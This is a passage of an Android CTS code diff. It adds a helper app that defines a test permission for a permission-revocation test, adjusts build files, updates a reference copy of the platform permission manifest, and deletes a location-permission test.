+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsVictimPermissionDefinerApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    certificate: ":cts-testkey1",
+}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml
new file mode 100644
index 0000000..3fb0abd
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.revokepermissionwhenremoved.VictimPermissionDefinerApp">
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission"
+        android:protectionLevel="signature"
+        android:label="Test Permission"
+        android:description="@string/test_permission" />
+    <application>
+    </application>
+</manifest>
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..bfb3e1e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/tests/tests/permission2/Android.bp b/tests/tests/permission2/Android.bp
index adea669..840359f 100644
--- a/tests/tests/permission2/Android.bp
+++ b/tests/tests/permission2/Android.bp
@@ -25,6 +25,7 @@
     ],
     libs: ["android.test.base.stubs"],
     static_libs: [
+        "androidx.test.core",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "guava",
@@ -32,6 +33,27 @@
         "truth-prebuilt",
         "permission-test-util-lib"
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt"
+    ],
     sdk_version: "test_current",
+    data: [
+        ":CtsLocationPermissionsUserSdk22",
+        ":CtsLocationPermissionsUserSdk29",
+        ":CtsSMSCallLogPermissionsUserSdk22",
+        ":CtsSMSCallLogPermissionsUserSdk29",
+        ":CtsStoragePermissionsUserDefaultSdk22",
+        ":CtsStoragePermissionsUserDefaultSdk28",
+        ":CtsStoragePermissionsUserDefaultSdk29",
+        ":CtsStoragePermissionsUserOptInSdk22",
+        ":CtsStoragePermissionsUserOptInSdk28",
+        ":CtsStoragePermissionsUserOptOutSdk29",
+        ":CtsLegacyStorageNotIsolatedWithSharedUid",
+        ":CtsLegacyStorageIsolatedWithSharedUid",
+        ":CtsLegacyStorageRestrictedWithSharedUid",
+        ":CtsLegacyStorageRestrictedSdk28WithSharedUid",
+        ":CtsSMSRestrictedWithSharedUid",
+        ":CtsSMSNotRestrictedWithSharedUid",
+    ],
 }
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
index 6ee6120..ea9e86e 100644
--- a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
index 63c2a14..c44004b 100644
--- a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
index 50ac715..f3b9994 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -19,11 +19,4 @@
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
index 78068f9..b0b486d 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
index 35ab9e4..ef1e160 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
@@ -20,13 +20,6 @@
 
     sdk_version: "current",
 
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ],
-
     // TODO: Uncomment when uncommenting the test
     // srcs: ["src/**/*.java"]
 
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
index 3804b92..44e9af0 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
@@ -20,13 +20,6 @@
 
     sdk_version: "current",
 
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ],
-
     // TODO: Uncomment when uncommenting the test
     // srcs: ["src/**/*.java"]
 
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
index 0fe3599..d1fc86a 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
@@ -20,13 +20,6 @@
 
     sdk_version: "current",
 
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ],
-
     // TODO: Uncomment when uncommenting the test
     // srcs: ["src/**/*.java"]
 
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
index a0189ad..3246d76 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
@@ -20,13 +20,6 @@
 
     sdk_version: "current",
 
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ],
-
     // TODO: Uncomment when uncommenting the test
     // srcs: ["src/**/*.java"]
 
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
index 9806571..34be9bf 100644
--- a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
index ec6d128..305125a 100644
--- a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -19,11 +19,4 @@
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
index f63f14a..8183468 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
@@ -17,11 +17,4 @@
 android_test_helper_app {
     name: "CtsStoragePermissionsUserDefaultSdk22",
     defaults: ["cts_defaults"],
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
index be2761a..738f20c 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
@@ -17,11 +17,4 @@
 android_test_helper_app {
     name: "CtsStoragePermissionsUserDefaultSdk28",
     defaults: ["cts_defaults"],
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
index eb77c12..53086d3 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
@@ -19,11 +19,4 @@
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
index b7f40bf..843176f 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
@@ -17,11 +17,4 @@
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptInSdk22",
     defaults: ["cts_defaults"],
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
index 63062c1..c0b5fd6 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
@@ -17,11 +17,4 @@
 android_test_helper_app {
     name: "CtsStoragePermissionsUserOptInSdk28",
     defaults: ["cts_defaults"],
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
index 9d6a481..e1a43da 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
@@ -19,11 +19,4 @@
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-        "cts_instant",
-    ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 36c7cbf..15ab41f 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -102,9 +102,6 @@
     <protected-broadcast android:name="android.os.action.POWER_SAVE_TEMP_WHITELIST_CHANGED" />
     <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED_INTERNAL" />
 
-    <!-- @deprecated This is rarely used and will be phased out soon. -->
-    <protected-broadcast android:name="android.os.action.SCREEN_BRIGHTNESS_BOOST_CHANGED" />
-
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
     <protected-broadcast android:name="android.app.action.EXIT_CAR_MODE" />
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE_PRIORITIZED" />
@@ -376,7 +373,7 @@
     <protected-broadcast android:name="android.net.wifi.p2p.THIS_DEVICE_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.p2p.PEERS_CHANGED" />
     <protected-broadcast android:name="android.net.wifi.p2p.CONNECTION_STATE_CHANGE" />
-    <protected-broadcast android:name="android.net.wifi.p2p.PERSISTENT_GROUPS_CHANGED" />
+    <protected-broadcast android:name="android.net.wifi.p2p.action.WIFI_P2P_PERSISTENT_GROUPS_CHANGED" />
     <protected-broadcast android:name="android.net.conn.TETHER_STATE_CHANGED" />
     <protected-broadcast android:name="android.net.conn.INET_CONDITION_ACTION" />
     <protected-broadcast android:name="android.net.conn.NETWORK_CONDITIONS_MEASURED" />
@@ -1208,6 +1205,15 @@
         android:description="@string/permdesc_camera"
         android:protectionLevel="dangerous|instant" />
 
+    <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
+     system only camera devices.
+     <p>Protection level: system|signature
+     @hide -->
+    <permission android:name="android.permission.SYSTEM_CAMERA"
+                android:permissionGroup="android.permission-group.UNDEFINED"
+                android:label="@string/permlab_systemCamera"
+                android:description="@string/permdesc_systemCamera"
+                android:protectionLevel="system|signature" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device sensors                           -->
@@ -1524,18 +1530,6 @@
     <permission android:name="android.permission.OVERRIDE_WIFI_CONFIG"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @hide -->
-    <permission android:name="android.permission.ACCESS_WIMAX_STATE"
-        android:description="@string/permdesc_accessWimaxState"
-        android:label="@string/permlab_accessWimaxState"
-        android:protectionLevel="normal" />
-
-    <!-- @hide -->
-    <permission android:name="android.permission.CHANGE_WIMAX_STATE"
-        android:description="@string/permdesc_changeWimaxState"
-        android:label="@string/permlab_changeWimaxState"
-        android:protectionLevel="normal" />
-
     <!-- Allows applications to act as network scorers. @hide @SystemApi-->
     <permission android:name="android.permission.SCORE_NETWORKS"
         android:protectionLevel="signature|privileged" />
@@ -1544,7 +1538,7 @@
          recommendations and scores from the NetworkScoreService.
          <p>Not for use by third-party applications. @hide -->
     <permission android:name="android.permission.REQUEST_NETWORK_SCORES"
-        android:protectionLevel="signature|setup" />
+        android:protectionLevel="signature|setup|privileged" />
 
     <!-- Allows network stack services (Connectivity and Wifi) to coordinate
          <p>Not for use by third-party or privileged applications.
@@ -1566,7 +1560,7 @@
          @hide This should only be used by Settings and SystemUI.
     -->
     <permission android:name="android.permission.NETWORK_SETTINGS"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- Allows SetupWizard to call methods in Networking services
          <p>Not for use by any other third-party or privileged applications.
@@ -1613,12 +1607,6 @@
     <permission android:name="android.permission.MANAGE_LOWPAN_INTERFACES"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @hide Allows internal management of Wi-Fi connectivity state when on
-         wireless consent mode.
-         <p>Not for use by third-party applications. -->
-    <permission android:name="android.permission.MANAGE_WIFI_WHEN_WIRELESS_CONSENT_REQUIRED"
-        android:protectionLevel="signature" />
-
     <!-- #SystemApi @hide Allows an app to bypass Private DNS.
          <p>Not for use by third-party applications.
          TODO: publish as system API in next API release. -->
@@ -1952,6 +1940,11 @@
     <!-- =========================================== -->
     <eat-comment />
 
+    <!-- @SystemApi Allows granting runtime permissions to telephony related components.
+         @hide -->
+    <permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS_TO_TELEPHONY_DEFAULTS"
+        android:protectionLevel="signature|telephony" />
+
     <!-- Allows modification of the telephony state - power on, mmi, etc.
          Does not include placing calls.
          <p>Not for use by third-party applications. -->
@@ -2090,7 +2083,7 @@
          @hide
     -->
     <permission android:name="android.permission.BIND_TELEPHONY_DATA_SERVICE"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- Must be required by a NetworkService to ensure that only the
          system can bind to it.
@@ -2115,7 +2108,7 @@
          @hide
     -->
     <permission android:name="android.permission.BIND_EUICC_SERVICE"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- ================================== -->
     <!-- Permissions for sdcard interaction -->
@@ -2221,7 +2214,7 @@
          types of interactions
          @hide -->
     <permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"
-        android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer|telephony|wifi" />
 
     <!-- @SystemApi Allows an application to start its own activities, but on a different profile
          associated with the user. For example, an application running on the main profile of a user
@@ -2843,6 +2836,11 @@
     <!-- Allows an application to be the status bar.  Currently used only by SystemUI.apk
     @hide -->
     <permission android:name="android.permission.STATUS_BAR_SERVICE"
+        android:protectionLevel="signature|telephony" />
+
+    <!-- Allows an application to trigger bugreports via the shell app (which uses bugreport API)
+    @hide -->
+    <permission android:name="android.permission.TRIGGER_SHELL_BUGREPORT"
         android:protectionLevel="signature" />
 
     <!-- Allows an application to bind to third party quick settings tiles.
@@ -2893,7 +2891,7 @@
          @hide
     -->
     <permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony|wifi" />
 
     <!-- @SystemApi Allows an application to use
          {@link android.view.WindowManager.LayoutsParams#SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
@@ -2970,7 +2968,7 @@
          @hide
     -->
     <permission android:name="android.permission.SET_ACTIVITY_WATCHER"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- @SystemApi Allows an application to call the activity manager shutdown() API
          to put the higher-level system there into a shutdown state.
@@ -3448,6 +3446,13 @@
     <permission android:name="android.permission.GET_RUNTIME_PERMISSIONS"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows the system to restore runtime permission state. This might grant
+    permissions, hence this is a more scoped, less powerful variant of GRANT_RUNTIME_PERMISSIONS.
+    Among other restrictions this cannot override user choices.
+    @hide -->
+    <permission android:name="android.permission.RESTORE_RUNTIME_PERMISSIONS"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows an application to change policy_fixed permissions.
     @hide -->
     <permission android:name="android.permission.ADJUST_RUNTIME_PERMISSIONS_POLICY"
@@ -3466,13 +3471,18 @@
     <!-- @SystemApi Allows an application to manage the holders of a role.
          @hide -->
     <permission android:name="android.permission.MANAGE_ROLE_HOLDERS"
-        android:protectionLevel="signature|installer" />
+        android:protectionLevel="signature|installer|telephony" />
 
     <!-- @SystemApi Allows an application to observe role holder changes.
          @hide -->
     <permission android:name="android.permission.OBSERVE_ROLE_HOLDERS"
         android:protectionLevel="signature|installer" />
 
+    <!-- Allows an application to manage the companion devices.
+         @hide -->
+    <permission android:name="android.permission.MANAGE_COMPANION_DEVICES"
+                android:protectionLevel="signature|wifi" />
+
     <!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
          <p>Not for use by third-party applications.
          @hide
@@ -3672,7 +3682,7 @@
          @hide
      -->
     <permission android:name="android.permission.DEVICE_POWER"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- Allows toggling battery saver on the system.
          Superseded by DEVICE_POWER permission. @hide @SystemApi
@@ -3707,13 +3717,13 @@
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_SMS"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- Allows an application to broadcast a WAP PUSH receipt notification.
          <p>Not for use by third-party applications.
     -->
     <permission android:name="android.permission.BROADCAST_WAP_PUSH"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- @SystemApi Allows an application to broadcast privileged networking requests.
          <p>Not for use by third-party applications.
@@ -4232,7 +4242,7 @@
          broadcast module. This is required in order to bind to the cell broadcast service, and
          ensures that only the system can forward messages to it.
 
-         <p>Protection level: signature
+         <p>Protection level: signature|privileged
 
          @hide -->
     <permission android:name="android.permission.BIND_CELL_BROADCAST_SERVICE"
@@ -4352,13 +4362,13 @@
          {@link android.provider.BlockedNumberContract}.
          @hide -->
     <permission android:name="android.permission.READ_BLOCKED_NUMBERS"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- Allows the holder to write blocked numbers. See
          {@link android.provider.BlockedNumberContract}.
          @hide -->
     <permission android:name="android.permission.WRITE_BLOCKED_NUMBERS"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- Must be required by an {@link android.service.vr.VrListenerService}, to ensure that only
          the system can bind to it.
@@ -4441,12 +4451,12 @@
     <!-- @SystemApi Allows to access all app shortcuts.
          @hide -->
     <permission android:name="android.permission.ACCESS_SHORTCUTS"
-        android:protectionLevel="signature|textClassifier" />
+        android:protectionLevel="signature|appPredictor" />
 
     <!-- @SystemApi Allows unlimited calls to shortcut mutation APIs.
          @hide -->
     <permission android:name="android.permission.UNLIMITED_SHORTCUTS_API_CALLS"
-        android:protectionLevel="signature|textClassifier" />
+        android:protectionLevel="signature|appPredictor" />
 
     <!-- @SystemApi Allows an application to read the runtime profiles of other apps.
          @hide <p>Not for use by third-party applications. -->
@@ -4458,9 +4468,9 @@
         android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to turn on / off quiet mode.
-         @hide <p>Not for use by third-party applications. -->
+         @hide -->
     <permission android:name="android.permission.MODIFY_QUIET_MODE"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|wellbeing" />
 
     <!-- Allows internal management of the camera framework
          @hide -->
@@ -4506,10 +4516,17 @@
     <permission android:name="android.permission.BIND_EXPLICIT_HEALTH_CHECK_SERVICE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi Must be required by an {@link android.service.storage.ExternalStorageService} to
+     ensure that only the system can bind to it.
+     @hide This is not a third-party API (intended for OEMs and system apps).
+    -->
+    <permission android:name="android.permission.BIND_EXTERNAL_STORAGE_SERVICE"
+                android:protectionLevel="signature" />
+
     <!-- @hide Permission that allows configuring appops.
      <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MANAGE_APPOPS"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|telephony" />
 
     <!-- @hide Permission that allows background clipboard access.
          <p>Not for use by third-party applications. -->
@@ -4580,6 +4597,18 @@
     <permission android:name="android.permission.MONITOR_INPUT"
                 android:protectionLevel="signature" />
 
+    <!-- Allows query of any normal app on the device, regardless of manifest declarations. -->
+    <permission android:name="android.permission.QUERY_ALL_PACKAGES"
+                android:protectionLevel="normal" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+
+    <!-- @hide Allow the caller to collect debugging data from processes that otherwise
+        would require USAGE_STATS. Before sharing this data with other apps, holders
+        of this permission are REQUIRED to themselves check that the caller has
+        PACKAGE_USAGE_STATS and OP_GET_USAGE_STATS. -->
+    <permission android:name="android.permission.PEEK_DROPBOX_DATA"
+        android:protectionLevel="signature" />
+
     <application android:process="system"
         android:persistent="true"
         android:hasCode="false"
diff --git a/tests/tests/permission2/src/android/permission2/cts/NoLocationPermissionTest.java b/tests/tests/permission2/src/android/permission2/cts/NoLocationPermissionTest.java
deleted file mode 100644
index 2301980..0000000
--- a/tests/tests/permission2/src/android/permission2/cts/NoLocationPermissionTest.java
+++ /dev/null
@@ -1,451 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.permission2.cts;
-
-import android.app.PendingIntent;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.os.Bundle;
-import android.os.Looper;
-import android.telephony.CellInfo;
-import android.telephony.CellLocation;
-import android.telephony.PhoneStateListener;
-import android.telephony.TelephonyManager;
-import android.test.InstrumentationTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.test.UiThreadTest;
-
-import java.util.List;
-
-/**
- * Verify the location access without specific permissions.
- */
-public class NoLocationPermissionTest extends InstrumentationTestCase {
-    private static final String TEST_PROVIDER_NAME = "testProvider";
-
-    private LocationManager mLocationManager;
-    private List<String> mAllProviders;
-    private boolean mHasTelephony;
-    private Context mContext;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-        mLocationManager = (LocationManager) mContext.getSystemService(
-                Context.LOCATION_SERVICE);
-        mAllProviders = mLocationManager.getAllProviders();
-        mHasTelephony = mContext.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_TELEPHONY);
-
-        assertNotNull(mLocationManager);
-        assertNotNull(mAllProviders);
-    }
-
-    private boolean isKnownLocationProvider(String provider) {
-        return mAllProviders.contains(provider);
-    }
-
-    /**
-     * Verify that listen or get cell location requires permissions.
-     * <p>
-     * Requires Permission: {@link
-     * android.Manifest.permission#ACCESS_FINE_LOCATION}
-     */
-    @UiThreadTest
-    public void testListenCellLocation() {
-        if (!mHasTelephony) {
-            return;
-        }
-
-        TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
-                Context.TELEPHONY_SERVICE);
-        PhoneStateListener phoneStateListener = new PhoneStateListener() {
-            @Override
-            public void onCellLocationChanged(CellLocation location) {
-                if (location != null) {
-                    fail("Test process should not have received CellLocation");
-                }
-            }
-
-        };
-        try {
-            telephonyManager.listen(phoneStateListener, PhoneStateListener.LISTEN_CELL_LOCATION);
-        } catch (SecurityException e) {
-            // expected
-        }
-
-        try {
-            CellLocation cellLocation = telephonyManager.getCellLocation();
-            if (cellLocation != null) {
-                fail("Test process should not have gotten a nonnull value from getCellLocation.");
-            }
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Verify that get cell location requires permissions.
-     * <p>
-     * Requires Permission: {@link
-     * android.Manifest.permission#ACCESS_FINE_LOCATION}
-     */
-    @UiThreadTest
-    public void testListenCellLocation2() {
-        if (!mHasTelephony) {
-            return;
-        }
-
-        TelephonyManager telephonyManager = (TelephonyManager) mContext.getSystemService(
-                Context.TELEPHONY_SERVICE);
-        try {
-            List<CellInfo> cellInfos = telephonyManager.getAllCellInfo();
-            if (cellInfos != null && cellInfos.size() > 0) {
-                fail("Test process should not have received CellInfo");
-            }
-        } catch (SecurityException e) {
-            // expected
-        }
-
-        try {
-            telephonyManager.requestCellInfoUpdate(mContext.getMainExecutor(),
-                    new TelephonyManager.CellInfoCallback() {
-                        @Override
-                        public void onCellInfo(List<CellInfo> cellInfos) {
-                            if (cellInfos != null && cellInfos.size() > 0) {
-                                fail("Test process should not have received CellInfo");
-                            }
-                        }
-                    });
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-
-    /**
-     * Helper method to verify that calling requestLocationUpdates with given
-     * provider throws SecurityException.
-     * 
